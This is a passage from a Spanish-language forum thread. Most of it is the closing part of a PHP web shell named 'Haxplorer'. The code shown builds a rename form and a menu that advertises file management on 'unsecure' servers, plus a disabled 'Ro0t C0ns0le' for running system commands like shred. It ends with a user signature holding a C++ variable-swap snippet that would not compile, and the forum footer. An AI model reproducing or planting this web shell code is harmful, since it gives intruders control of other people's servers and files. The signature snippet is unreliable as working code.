  echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
  echo "Rename \"$oldfile\" to:<br>\n";
  echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
echo "</form><form action=\"$SFileName\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
  echo "</td></tr></table></center>";
  }
}
else  { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
$isMainMenu = true;
     ?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
  <td width="100%" class="border">
   <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center>
  </td>
</tr>
</table>
<br>
  <center>
<table border="0" NOWRAP>
  <tr>
  <td valign="top" class="silver border">
           <a href="<?php echo $SFileName ?>?cmd=dir&dir=.">&nbsp;&nbsp;<font color="navy"><strong>==> Haxplorer <==</strong></font>&nbsp;&nbsp;</a>
  </td>
    <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
   Haxplorer is a server side file browser wich (ab)uses the directory object to list
     the files and directories stored on a webserver. This handy tools allows you to manage
     files and directories on a unsecure server with php support.<br><br>This entire script
     is coded for unsecure servers, if your server is secured the script will hide commands
     or will even return errors to your browser...<br><br>
  </td>
</tr>
  <!--
         <tr>
  <td valign="top" class="silver border">
           <a href="<?php echo $SFileName ?>?cmd=con">&nbsp;&nbsp;<font color="navy"><strong>Ro0t C0ns0le</strong></font>&nbsp;&nbsp;</a>
  </td>
    <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
   --OUT OF ORDER--<br>Ro0t C0ns0le is just a little function that allows you to perform system
   commands on the webserver. If you're using a linux server, system commands such as ls and
     shred will be available for you... <br><br>This function also depends on an unsecure server
     with php support.<br><br>
  </td>
</tr>
        -->
  </table>
</center>
<br>
     <?php
}

if ($cmd != "downl") {
if ( $isMainMenu != true) {
  ?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
  <td width="100%" style="class="silver border">
   <center><strong>
    &nbsp;&nbsp;<a href="<?php echo $SFileName ?>"><font color="navy">[&nbsp;Main Menu&nbsp;]</font></a>&nbsp;&nbsp;
                    &nbsp;&nbsp;<a href="<?php echo $SFileName ?>?cmd=dir&dir=."><font color="navy">[&nbsp;Haxplorer&nbsp;]</font></a>&nbsp;&nbsp;
     </strong></center>
  </td>
</tr>
</table>
<br>
<?php
}
?>
<table width=100% border="0" cellpadding="0" cellspacing="0">
<tr>
  <td width="100%" class="silver border">
   <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center>
  </td>
</tr>
</table>
     </td>
  </tr>
 </table>

  <?php
 }

?>
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
libros shell scripting
Scripting
ubetor^^ 2 265 Último mensaje 22 Abril 2012, 16:38
por ubetor^^
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines